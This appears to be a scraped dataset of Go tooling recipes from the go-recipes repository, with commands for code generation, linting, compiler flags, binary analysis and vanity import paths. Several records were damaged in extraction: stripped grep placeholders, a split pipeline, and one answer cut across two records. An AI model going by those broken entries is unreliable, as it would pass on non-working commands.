{"id": "gh_3ce6785fc8b6", "question": "How to: [⏫](#contents) Modify struct field tags with [gomodifytags](https://github.com/fatih/gomodifytags)", "question_body": "About nikolaydubina/go-recipes", "answer": "This tool makes it easy to update, add or delete the tags and options in a struct field. You can add new tags, update existing tags (such as appending a new key, i.e: db, xml, etc..) or remove existing tags. It's intended to be used by an editor, but also has modes to run it from the terminal. — [@fatih](https://github.com/fatih)\nRequirements\n```\ngo install github.com/fatih/gomodifytags@latest\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.952920"}
{"id": "gh_36af2b130fe4", "question": "How to: [⏫](#contents) Generate code from OpenAPI 3 specification with [oapi-codegen](https://github.com/oapi-codegen/oapi-codegen)", "question_body": "About nikolaydubina/go-recipes", "answer": "Generate Go client and server boilerplate from OpenAPI 3 specifications. — [@deepmap](https://github.com/deepmap)\n\n```\noapi-codegen --config=config.yaml api.yaml\n```\n\nRequirements\n```\ngo install github.com/oapi-codegen/oapi-codegen/v2/cmd/oapi-codegen@latest\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.952925"}
{"id": "gh_7a5f9baa470a", "question": "How to: [⏫](#contents) Generate C-Go Bindings with [c-for-go](https://github.com/xlab/c-for-go?tab=readme-ov-file)", "question_body": "About nikolaydubina/go-recipes", "answer": "This project allows to reuse existing C/C++ libraries in your Go applications, by automatically creating c-go bindings for a given set of C headers and the manifest file. We believe in component-based software engineering and think that reusing C/C++ code in Go applications could bring a huge boost to developer's productivity and system's performance. Read more about the motivation: top reasons to use bindings. — [@xlab](https://github.com/xlab)", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 4447, "answer_score": 10, "has_code": false, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.952931"}
{"id": "gh_49cce083a5e1", "question": "How to: [⏫](#contents) Enum via generics with [enum](https://github.com/orsinium-labs/enum)", "question_body": "About nikolaydubina/go-recipes", "answer": "Type safe enums for Go without code generation or reflection. — [@orsinium](https://github.com/orsinium)\n\n```go\ntype Color enum.Member[string]\n\nvar (\n  Red    = Color{\"red\"}\n  Green  = Color{\"green\"}\n  Blue   = Color{\"blue\"}\n  Colors = enum.New(Red, Green, Blue)\n)\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.952937"}
{"id": "gh_a9f3de06591c", "question": "How to: [⏫](#contents) Replace symbol with `gofmt`", "question_body": "About nikolaydubina/go-recipes", "answer": "I found this in announcement [notice](https://github.com/golang/go/commit/2580d0e08d5e9f979b943758d3c49877fb2324cb) of Go 1.18 for changes to `interface{}` to `any`. This can be useful for other refactorings too.\n\n```\ngofmt -w -r 'interface{} -> any' .\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.952942"}
{"id": "gh_d4ca97f66d36", "question": "How to: [⏫](#contents) Apply refactoring patches with [gopatch](https://github.com/uber-go/gopatch)", "question_body": "About nikolaydubina/go-recipes", "answer": "With this tool it is very easy to perform refactorings. It is also possible to organize and maintain your refactoring procedures through patches. — Uber\n\n```go\n@@\n@@\n-import \"errors\"\n\n-errors.New(fmt.Sprintf(...))\n+fmt.Errorf(...)\n```\n\nExample\n```\nreturn errors.New(fmt.Sprintf(\"invalid port: %v\", err))\n// becomes\nreturn fmt.Errorf(\"invalid port: %v\", err)\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.952948"}
{"id": "gh_1b25672f97fe", "question": "How to: [⏫](#contents) Keep consistent ordering of imports with [goimports](https://pkg.go.dev/golang.org/x/tools/cmd/goimports)", "question_body": "About nikolaydubina/go-recipes", "answer": "This is official tool for for grouping and sorting imports. However, it has only basic grouping functionality. — Go Core team\n\n```\ngoimports -w -local .\n```\n\nRequirements\n```\ngo install golang.org/x/tools/cmd/goimports@latest\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.952953"}
{"id": "gh_5c283c710b25", "question": "How to: [⏫](#contents) Keep consistent ordering of imports with [gci](https://github.com/daixiang0/gci)", "question_body": "About nikolaydubina/go-recipes", "answer": "This tool splits all import blocks into different sections, now support five section types: standard (e.g. 'fmt'); custom; default; blank; dot. It will keep each section sorted and keep ordering of sections consistent. — [@daixiang0](https://github.com/daixiang0)\n\n```\ngci write -s standard -s default -s \"prefix(github.com/daixiang0/gci)\" main.go\n```\n\n```go\n// before\npackage main\nimport (\n  \"golang.org/x/tools\"\n  \n  \"fmt\"\n  \n  \"github.com/daixiang0/gci\"\n)\n\n// after\npackage main\nimport (\n    \"fmt\"\n\n    \"golang.org/x/tools\"\n\n    \"github.com/daixiang0/gci\"\n)\n```\n\nRequirements\n```\ngo install github.com/daixiang0/gci@latest\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.952961"}
{"id": "gh_5a71b6f02100", "question": "How to: [⏫](#contents) Errors with return traces with [errtrace](https://github.com/bracesdev/errtrace)", "question_body": "About nikolaydubina/go-recipes", "answer": "Return trace is the path that error took to return to user. This can be more illustrative than typical stack trace that produced the error. This tool have convenience automatic instrumentation CLI to update your code. — [@bracesdev](https://github.com/bracesdev)\n\n```\ngit ls-files -- '*.go' | xargs errtrace -w\n```\n\nRequirements\n```\nuse package \"braces.dev/errtrace\"\ninstrument code by wrapping errors through all functions with this library\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.952974"}
{"id": "gh_be23610e4af4", "question": "How to: [⏫](#contents) Errors with stack traces and source fragments with [tracerr](https://github.com/ztrue/tracerr)", "question_body": "About nikolaydubina/go-recipes", "answer": "This library collects stack traces and pretty prints code fragments. Stack traces induce performance penalty. — [@ztrue](https://github.com/ztrue)\n\n```go\npackage main\n\nimport (\n  \"io/ioutil\"\n\n  \"github.com/ztrue/tracerr\"\n)\n\nfunc main() {\n  if err := read(); err != nil {\n    tracerr.PrintSourceColor(err)\n  }\n}\n\nfunc read() error {\n  return readNonExistent()\n}\n\nfunc readNonExistent() error {\n  _, err := ioutil.ReadFile(\"/tmp/non_existent_file\")\n  // Add stack trace to existing error, no matter if it's nil.\n  return tracerr.Wrap(err)\n}\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.952981"}
{"id": "gh_c2c6ff73c99f", "question": "How to: [⏫](#contents) Pretty print `panic` messages with [panicparse](https://github.com/maruel/panicparse)", "question_body": "About nikolaydubina/go-recipes", "answer": "Read `panic` messages easier. Need to redirect STDERR to this tool with `panic` stack traces. The tool has HTML output and does lots of deduplication and enhancements. Refer to examples in original repo. — [@maruel](https://github.com/maruel)\n\n```\ngo test -v |& pp\n```\nRequirements\n```\ngo install github.com/maruel/panicparse/v2/cmd/pp@latest\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.952987"}
{"id": "gh_04115ce5a99e", "question": "How to: [⏫](#contents) :gift: Generate errors from a spec with [zederr](https://github.com/amanbolat/zederr)", "question_body": "About nikolaydubina/go-recipes", "answer": "This is a tool for error codes documentation and code generation. You can define all the errors in one YAML file and generate strictly typed error constructors. Error public messages are automatically localized on initialization based on the user locale. — [@amanbolat](https://github.com/amanbolat)\n\n```\nzederr gen --go-out ./out --spec zederr_spec.yaml\n```\n\nRequirements\n```\ngo install github.com/amanbolat/zederr/cmd/zederr@latest\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.952993"}
{"id": "gh_6e21a3e02bf9", "question": "How to: [⏫](#contents) Fetch private dependencies in CI", "question_body": "About nikolaydubina/go-recipes", "answer": "If you are building in CI (e.g. GitHub Actions), you need to download private repositories. Common way to accomplish this is with job like below.\n\n```yaml\nname: go private modules\nenv:\n  USER: ${{ secrets.USER }}\n  TOKEN: ${{ secrets.REPO_ACCESS_TOKEN }}\nrun: git config --global url.\"https://${USER}:${TOKEN}@github.com\".insteadOf \"https://github.com\"\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.952998"}
{"id": "gh_9fabfb200568", "question": "How to: [⏫](#contents) Show compiler optimization decisions on heap and inlining", "question_body": "About nikolaydubina/go-recipes", "answer": "Building with `-m` flag will show decisions of compiler on inlining and heap escape. This can help you to validate your understanding of your code and optimize it.\n\n```\ngo build -gcflags=\"-m -m\" . 2>&1 | grep inline\n```\n\nExample\n```\n...\n./passengerfp.go:25:6: cannot inline (*PassengerFeatureTransformer).Fit: function too complex: cost 496 exceeds budget 80\n...\n./passengerfp.go:192:6: can inline (*PassengerFeatureTransformer).NumFeatures with cost 35 as: method(*PassengerFeatureTransformer) func() int { if e == nil { return 0 }; count := 6; count += (*transformers.OneHotEncoder).NumFeatures(e.Sex); count += (*transformers.OneHotEncoder).NumFeatures(e.Embarked); return count }\n...\n./passengerfp.go:238:43: inlining call to transformers.(*OneHotEncoder).FeatureNames\n./passengerfp.go:238:43: inlining call to transformers.(*OneHotEncoder).NumFeatures\n...\n./passengerfp.go:151:7: parameter e leaks to {heap} with derefs=0:\n./passengerfp.go:43:11: make(map[string]uint) escapes to heap\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.953004"}
{"id": "gh_4ac91c72db98", "question": "How to: [⏫](#contents) Disable inlining", "question_body": "About nikolaydubina/go-recipes", "answer": "Usually you may not need it, but can reduce binary size and even improve performance.\n\n```\ngo build -gcflags=\"-l\" .\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.953009"}
{"id": "gh_627f9548ee96", "question": "How to: [⏫](#contents) :gift: Reduce size of binary", "question_body": "About nikolaydubina/go-recipes", "answer": "First, get breakdown of how much specific packages take space in your binary. Very often you will see some dependnecy taking 80% of your binary size, yet often you can have more slim version of it. (e.g. `elasticsearch`, `gcp` clients). Then, apply compiler directives to strip away non-essential information.\n\n```\ngo build -ldflags=\"-s -w\" .\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.953018"}
{"id": "gh_662d31e193dd", "question": "How to: [⏫](#contents) Profile-guided optimization", "question_body": "About nikolaydubina/go-recipes", "answer": "Starting go 1.20 compiler supports Profile-guided optimization. You need to collect profiles and then supply in computation to compiler. You can get improvement in performance by around 4%. Official [guideline](https://go.dev/doc/pgo).\n\n```\n1. store a `pprof` CPU profile with filename default.pgo in the main package directory of the profiled binary\n2. build with `go build -pgo=auto``, which will pick up `default.pgo` files automatically.\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.953023"}
{"id": "gh_c84766c24941", "question": "How to: [⏫](#contents) Manually disable or enable `cgo`", "question_body": "About nikolaydubina/go-recipes", "answer": "Disable `cgo` with `CGO_ENABLED=0` and enable with `CGO_ENABLED=1`. If you don't, `cgo` may end-up being enabled or code dynamically linked if, for example, you use some `net` or `os` packages. You may want to disable `cgo` to improve performance, since compiler and runtime would have easier job optimizing code. This also should reduce your image size, as you can have alpine image with less shared libraries.", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 4447, "answer_score": 10, "has_code": false, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.953029"}
{"id": "gh_d77a8e0b9317", "question": "How to: [⏫](#contents) Include metadata in binary during compilation with `ldflags`", "question_body": "About nikolaydubina/go-recipes", "answer": "You can pass metadata through compiler to your binary. This is useful for including things like git commit, database schema version, integrity hashes. Variables can only be strings.\n\n```\ngo build -v -ldflags=\"-X 'main.Version=v1.0.0'\"\ngo build -v -ldflags=\"-X 'my/pkg/here.Variable=some-string'\"\n```\n\n```go\npackage main\n\nvar Version string\n\nfunc main() {\n  // Version here has some value\n  ...\n}\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.953034"}
{"id": "gh_cb93085d9c21", "question": "How to: [⏫](#contents) Check if symbol or package is included in binary", "question_body": "About nikolaydubina/go-recipes", "answer": "This is useful for investigations during performance optimization, security, or compiler work. First spotted in [blog](https://rednafi.com/go/omit_dev_dependencies_in_binaries/).\n\n```\ngo tool nm main | grep -Ei '\n|\n|...'\ngo tool nm main | grep -Ei 'golangci-lint|gofumpt'\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.953039"}
{"id": "gh_227f70fa48e5", "question": "How to: [⏫](#contents) Build for Raspberry Pi, Virtual Machine, embedded or normal PC with [gokrazy](https://github.com/gokrazy/gokrazy)", "question_body": "About nikolaydubina/go-recipes", "answer": "Turn your Go program(s) into an appliance running on the Raspberry Pi 3, Pi 4, Pi 5, Pi Zero 2 W, or amd64 PCs! [gokrazy.org](https://gokrazy.org/). The surface area for security vulnerabilities is drastically reduced. gokrazy uses its own minimal Go userland instead of a traditional Linux distribution base. The root filesystem is entirely read-only (making persistent malware installation hard) and new versions of the system are installed by overwriting the root file system with the new version. No default shell access: There is neither xz nor OpenSSH on a gokrazy system. Interactive access for debugging is possible, but needs to be explicitly started. — [@stapelberg](https://github.com/stapelberg)\n\n```\nfollow instructions at: https://gokrazy.org/quickstart/\n```\n\nRequirements\n```\ngo install github.com/gokrazy/tools/cmd/gok@main\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.953046"}
{"id": "gh_43e4024d4087", "question": "How to: [⏫](#contents) Visualise dependencies size in compiled binaries with [go-size-analyzer](https://github.com/Zxilly/go-size-analyzer)", "question_body": "About nikolaydubina/go-recipes", "answer": "A tool for analyzing the dependencies in compiled Golang binaries, providing insight into their impact on the final build. WebAssembly demo: [https://gsa.zxilly.dev](https://gsa.zxilly.dev). — [@Zxilly](https://github.com/Zxilly)\n\n```\ngsa --web target_binary\n```\nRequirements\n```\ngo install github.com/Zxilly/go-size-analyzer/cmd/gsa@latest\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.953053"}
{"id": "gh_ab14bc7b6c37", "question": "How to: [⏫](#contents) Make treemap breakdown of Go executable binary with [go-binsize-treemap](https://github.com/nikolaydubina/go-binsize-treemap)", "question_body": "About nikolaydubina/go-recipes", "answer": "Useful for studying Go compiler, large projects, projects with C/C++ and `cgo`, 3rd party dependencies, embedding. However, total size may not be something to worry about for your executable. — [@nikolaydubina](https://github.com/nikolaydubina)\n\n```\ngo tool nm -size\n| go-binsize-treemap > binsize.svg\n```\nRequirements\n```\ngo install github.com/nikolaydubina/go-binsize-treemap@latest\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.953059"}
{"id": "gh_a08d973567dd", "question": "How to: [⏫](#contents) Custom import path", "question_body": "About nikolaydubina/go-recipes", "answer": "Go can automatically fetch from custom http/https servers using `\n` tag to discover how to fetch code. There are multiple tools that can help set this up. This can help for security and analytics. This is also known as vanity URLs. [documentation](https://pkg.go.dev/cmd/go#hdr-Remote_import_paths).\n\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.953064"}
{"id": "gh_301ac1cda59e", "question": "How to: some notable examples", "question_body": "About nikolaydubina/go-recipes", "answer": "golang.org/x/exp\ngo.uber.org/multierr\nhonnef.co/go/tools/cmd/staticcheck\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.953068"}
{"id": "gh_cd99b6d89669", "question": "How to: [⏫](#contents) Custom import path with [govanityurls](https://github.com/GoogleCloudPlatform/govanityurls)", "question_body": "About nikolaydubina/go-recipes", "answer": "Simple HTTP server that lets you host custom import paths for your Go packages. — Google\n\n```\ngovanityurls\n```\n\nRequirements\n```\ngo install github.com/GoogleCloudPlatform/govanityurls@latest\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.953073"}
{"id": "gh_696587d4f0d5", "question": "How to: [⏫](#contents) Custom import path with [sally](https://github.com/uber-go/sally)", "question_body": "About nikolaydubina/go-recipes", "answer": "Simple HTTP server that lets you host custom import paths for your Go packages. — Uber\n\n```\nsally\n```\n\nRequirements\n```\ngo install go.uber.org/sally@latest\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.953079"}
{"id": "gh_d9ca3e3763b5", "question": "How to: [⏫](#contents) Custom import path with [kkn.fi/vanity](https://kkn.fi/vanity)", "question_body": "About nikolaydubina/go-recipes", "answer": "Simple HTTP server that lets you host custom import paths for your Go packages. — [@kare](https://github.com/kare)\n\n```\nvanity\n```\n\nRequirements\n```\ngo get kkn.fi/vanity\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.953085"}
{"id": "gh_3e3b9f27e7c7", "question": "How to: [⏫](#contents) Custom import path enforcement", "question_body": "About nikolaydubina/go-recipes", "answer": "When import path is using custom domain, it is possible to block code from compilation unless it is used. This can help ensure security and prevent breaking changes. [documentation](https://pkg.go.dev/cmd/go#hdr-Import_path_checking).\n\n```go\npackage pdf // import \"rsc.io/pdf\"\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.953090"}
{"id": "gh_cfb913e776b7", "question": "How to: [⏫](#contents) Manage multiple Go versions with [Goenv](https://github.com/Norwik/Goenv)", "question_body": "About nikolaydubina/go-recipes", "answer": "This tool makes it easier for managing multiple Go versions on same host. This works through intercepting Go commands and directing them to the right Go version bin and directory. Official Go [documentation](https://go.dev/doc/manage-install) on this topic. — [@clivern](https://github.com/clivern)", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 4447, "answer_score": 10, "has_code": false, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.953096"}
{"id": "gh_fc439e46eb0c", "question": "How to: [⏫](#contents) Transpile C to Go with [cxgo](https://github.com/gotranspile/cxgo)", "question_body": "About nikolaydubina/go-recipes", "answer": "CxGo is a tool for translating C source code to Go (aka transpiler, source-to-source compiler). It uses cc v3 for preprocessing and parsing C (no clang/gcc dependencies!) and a custom type-checker and AST translation layer to make the best output possible. — [@dennwc](https://github.com/dennwc)\n\n```\ncxgo file main.c\n```\n\nRequirements\n```\ngo install github.com/gotranspile/cxgo/cmd/cxgo@latest\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.953101"}
{"id": "gh_448c164d4849", "question": "How to: [⏫](#contents) Transpile Go to Javascript with [gopherjs](https://github.com/gopherjs/gopherjs)", "question_body": "About nikolaydubina/go-recipes", "answer": "GopherJS compiles Go code (go.dev) to pure JavaScript code. Its main purpose is to give you the opportunity to write front-end code in Go which will still run in all browsers. — [@neelance](https://github.com/neelance)\n\n```\ngopherjs build\n```\n\nRequirements\n```\ngo install github.com/gopherjs/gopherjs@v1.19.0-beta1\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.953107"}
{"id": "gh_1a137eda88cf", "question": "How to: [⏫](#contents) Run compile-time function evaluation with [prep](https://github.com/pijng/prep)", "question_body": "About nikolaydubina/go-recipes", "answer": "By using prep.Comptime, you can evaluate functions at compile time, replacing them with their computed results. — [@pijng](https://github.com/pijng)\n\n```\ngo build -a -toolexec=\"prep\" main.go\n```\n\n```go\npackage main\n\nimport (\n  \"fmt\"\n  \"github.com/pijng/prep\"\n)\n\nfunc main() {\n  // This will be evaluated at compile-time\n  result := prep.Comptime(fibonacci(300))\n\n  fmt.Println(\"Result:\", result)\n}\n\nfunc fibonacci(n int) int {\n  fmt.Printf(\"calculating fibonacci for %d\\n\", n)\n\n  if n <= 1 {\n    return n\n  }\n  a, b := 0, 1\n  for i := 2; i <= n; i++ {\n    a, b = b, a+b\n  }\n  return b\n}\n```\n\nRequirements\n```\ngo install github.com/pijng/prep/cmd/prep@latest\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.953116"}
{"id": "gh_44fd2ff9b3ba", "question": "How to: [⏫](#contents) :gift: Containerize your builds with [brewkit](https://github.com/ispringtech/brewkit)", "question_body": "About nikolaydubina/go-recipes", "answer": "BrewKit is a container-native build system focused on repeatable builds and caching.\n\n```\nbrewkit build\n```\n\n```jsonnet\nlocal app = \"service\";\n\nlocal copy = std.native('copy');\n\n{\n    apiVersion: \"brewkit/v1\",\n    targets: {\n        all: ['gobuild'],\n        \n        gobuild: {\n            from: \"golang:1.24\",\n            workdir: \"/app\",\n            copy: [\n                copy('cmd', 'cmd'),\n                copy('pkg', 'pkg'),\n            ],\n            command: std.format(\"go build -o ./bin/%s ./cmd/%s\", [app])\n        }\n    }\n}\n```\n\nRequirements\n```\ngo install github.com/ispringtech/brewkit/cmd/brewkit@latest\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.98, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.953124"}
{"id": "gh_dc1a30654671", "question": "How to: [⏫](#contents) Get assembly of Go code snippets online", "question_body": "About nikolaydubina/go-recipes", "answer": "Use [godbolt.org](https://godbolt.org) to compile and see assembly of short Go code. You can check different platforms and compilers including `cgo`. This tool is commonly used by C++ community. — [@mattgodbolt](https://github.com/mattgodbolt)", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 4447, "answer_score": 10, "has_code": false, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.953129"}
{"id": "gh_cea15e801359", "question": "How to: [⏫](#contents) Get Go SSA intermediary representation with [ssaplayground](https://github.com/golang-design/ssaplayground)", "question_body": "About nikolaydubina/go-recipes", "answer": "Check what does Go compiler do. Might be useful if you trying to optimize some code or learn more about compiler. https://golang.design/gossa. — [@changkun](https://github.com/changkun)", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 4447, "answer_score": 10, "has_code": false, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.953134"}
{"id": "gh_dc47383d1b1b", "question": "How to: [⏫](#contents) View Go assembly interactively with [lensm](https://github.com/loov/lensm)", "question_body": "About nikolaydubina/go-recipes", "answer": "Understand how Go is compiled better. — [@egonelbre](https://github.com/egonelbre)\nRequirements\n```\ngo install loov.dev/lensm@main\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.953140"}
{"id": "gh_08d7c1753ca7", "question": "How to: [⏫](#contents) View Go assembly with color annotation with [pat/disfunc](https://github.com/maruel/pat)", "question_body": "About nikolaydubina/go-recipes", "answer": "This tool shows assembly of functions and what lines mean by color. — [@maruel](https://github.com/maruel)\n\n```\ndisfunc -f 'nin\\.CanonicalizePath$' -pkg ./cmd/nin | less -R\n```\nRequirements\n```\ngo install github.com/maruel/pat/cmd/...@latest\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.953145"}
{"id": "gh_eb0d9e31f4c9", "question": "How to: [⏫](#contents) Generate Go assembly in Go with [avo](https://github.com/mmcloughlin/avo)", "question_body": "About nikolaydubina/go-recipes", "answer": "Write better quality Go assembly quicker in Go language itself. This tool conveniently generates stub for Go code to call your generated assembly. Used by Go core. — [@mmcloughlin](https://github.com/mmcloughlin)\n\n```go\n//go:build ignore\n// +build ignore\n\npackage main\n\nimport . \"github.com/mmcloughlin/avo/build\"\n\nfunc main() {\n  TEXT(\"Add\", NOSPLIT, \"func(x, y uint64) uint64\")\n  Doc(\"Add adds x and y.\")\n  x := Load(Param(\"x\"), GP64())\n  y := Load(Param(\"y\"), GP64())\n  ADDQ(x, y)\n  Store(y, ReturnIndex(0))\n  RET()\n  Generate()\n}\n```", "tags": ["nikolaydubina"], "source": "github_gists", "category": "nikolaydubina", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 4447, "answer_score": 10, "has_code": true, "url": "https://github.com/nikolaydubina/go-recipes", "collected_at": "2026-01-17T12:55:32.953152"}
